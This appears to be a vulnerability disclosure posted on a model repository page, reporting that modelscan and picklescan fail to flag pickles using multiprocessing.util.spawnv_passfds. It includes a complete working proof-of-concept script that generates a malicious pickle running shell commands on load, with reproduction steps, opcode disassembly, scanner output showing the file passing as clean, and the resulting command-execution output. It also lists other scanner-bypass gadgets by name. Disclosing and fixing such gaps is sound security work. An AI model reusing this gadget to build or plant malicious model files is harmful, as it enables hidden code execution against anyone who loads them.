You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

modelscan / picklescan bypass via multiprocessing.util.spawnv_passfds reduce gadget (arbitrary command execution)

Summary

Both modelscan (Protect AI) and picklescan enforce pickle safety through a deny-list of (module, name) global imports. A pickle whose __reduce__ returns the stdlib callable multiprocessing.util.spawnv_passfds β€” a public, stable module-level function that wraps _posixsubprocess.fork_exec and directly fork+execs an arbitrary argv β€” is not present in either scanner's deny-list. Loading such a pickle executes an arbitrary shell command while modelscan reports the file completely clean (No issues found! πŸŽ‰, total_issues: 0) and picklescan reports Dangerous globals: 0 with exit code 0.

  • Targets: modelscan 0.8.8, picklescan 1.0.5
  • Impact: Arbitrary command / code execution on model load, undetected by the scanner meant to catch exactly this.
  • Class: Pickle deserialization RCE via scanner deny-list bypass (new gadget).

Affected code / root cause

modelscan

modelscan/settings.py defines unsafe_globals, a per-module dict of dangerous names. Only these modules are listed: os, nt, posix, subprocess, socket, pty, runpy, sys, shutil, asyncio, bdb, pdb, pickle, plus a small set of builtins / operator names. In modelscan/tools/picklescanner.py, the routine that builds scan results (_build_scan_result_from_raw_globals) only raises an issue when a global's module is a key in that dict. Any global whose module is not a key β€” such as multiprocessing.util β€” produces zero issues.

picklescan

picklescan/scanner.py _unsafe_globals is a larger deny-list but likewise does not list the multiprocessing package (nor multiprocessing.util). Unknown imports only get a generic "Suspicious globals" note (informational; exit 0), not a "Dangerous globals" detection.

The gadget

multiprocessing.util.spawnv_passfds(path, args, passfds) is a public, stable-signature CPython stdlib function. Internally it calls _posixsubprocess.fork_exec(...), i.e. it fork+execs path with argv args. Because neither scanner lists multiprocessing.util, a single STACK_GLOBAL 'multiprocessing.util' 'spawnv_passfds' + REDUCE yields arbitrary command execution that both scanners rate as safe.

Proof of Concept

gen_poc.py:

import pickle, pickletools
from multiprocessing.util import spawnv_passfds

CMD = b"id > /tmp/pwn_spawnv 2>&1; echo SPAWNV_PWNED >> /tmp/pwn_spawnv"

class Exploit:
    def __reduce__(self):
        return (spawnv_passfds, (b"/bin/sh", [b"/bin/sh", b"-c", CMD], []))

data = pickle.dumps(Exploit(), protocol=4)
open("evil_spawnv.pkl","wb").write(data)

# Negative control: os.system payload that scanners DO catch
class Control:
    def __reduce__(self):
        import os
        return (os.system, ("id > /tmp/pwn_control",))
open("control_os.pkl","wb").write(pickle.dumps(Control(), protocol=4))

The __reduce__ returns (multiprocessing.util.spawnv_passfds, (b"/bin/sh", [b"/bin/sh", b"-c", CMD], [])).

Steps to reproduce

  1. python3 gen_poc.py β†’ produces evil_spawnv.pkl (payload) and control_os.pkl (control).
  2. modelscan -p evil_spawnv.pkl β†’ "No issues found! πŸŽ‰", JSON total_issues: 0, issues: [].
  3. picklescan -p evil_spawnv.pkl β†’ Infected files: 0 / Dangerous globals: 0, exit 0 (only a generic "Suspicious globals: 1" note that every unknown import receives).
  4. python3 -c "import pickle; pickle.loads(open('evil_spawnv.pkl','rb').read())" β†’ forks a child that runs id, proving RCE (/tmp/pwn_spawnv created with SPAWNV_PWNED).

Payload disassembly (single reduce gadget)

    0: \x80 PROTO      4
   11: \x8c SHORT_BINUNICODE 'multiprocessing.util'
   34: \x8c SHORT_BINUNICODE 'spawnv_passfds'
   51: \x93 STACK_GLOBAL
   53: C    SHORT_BINBYTES b'/bin/sh'
   63: ]    EMPTY_LIST
   ...  MARK / '-c' / CMD / APPENDS  (argv list)
  140: ]    EMPTY_LIST      (empty passfds)
  142: \x87 TUPLE3
  144: R    REDUCE
  146: .    STOP

A single STACK_GLOBAL 'multiprocessing.util' / 'spawnv_passfds' + REDUCE.

Captured evidence (verbatim)

modelscan 0.8.8 on evil_spawnv.pkl

Scanning .../evil_spawnv.pkl using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
 No issues found! πŸŽ‰
JSON: {"summary": {"total_issues_by_severity": {"LOW":0,"MEDIUM":0,"HIGH":0,"CRITICAL":0},
       "total_issues": 0, ... "modelscan_version":"0.8.8"...}, "issues": [], "errors": []}

picklescan 1.0.5 on evil_spawnv.pkl

----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Suspicious globals: 1
Dangerous globals: 0        (exit 0)

Negative control (os.system) β€” modelscan

Total Issues: 1  / CRITICAL: 1
  - Description: Use of unsafe operator 'system' from module 'posix'

Negative control β€” picklescan

control_os.pkl: dangerous import 'posix system' FOUND / Infected files: 1 / Dangerous globals: 1

The controls confirm both scanners are functioning correctly and that the spawnv_passfds gadget specifically evades them.

End-to-end RCE via pickle.loads(evil_spawnv.pkl)

RCE OUTPUT: uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom)...
SPAWNV_PWNED

Suggested fix

Add the multiprocessing package (and specifically multiprocessing.util.spawnv_passfds, spawnv_passfds, and the sibling process-spawning helpers) to unsafe_globals (modelscan) and _unsafe_globals (picklescan). More robustly, treat any callable that reaches os/posix/_posixsubprocess/subprocess fork/exec primitives as dangerous rather than enumerating a deny-list β€” deny-lists of stdlib process-spawning wrappers are inherently incomplete.

Dedup / novelty note

This gadget is distinct from all previously filed modelscan/picklescan bypasses in this research line: joblib stopbyte / numeric-genops / numpy-ctypeslib, pickle int-radix, cprofile-timeit, pydoc-pipepager, modelscan memo-divergence, and legacy multipickle. A grep of the workspace drafts/PoCs confirms no prior use of spawnv_passfds, multiprocessing.util, or fork_exec. No public CVE currently names multiprocessing.util.spawnv_passfds as a pickle-scanner bypass gadget.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support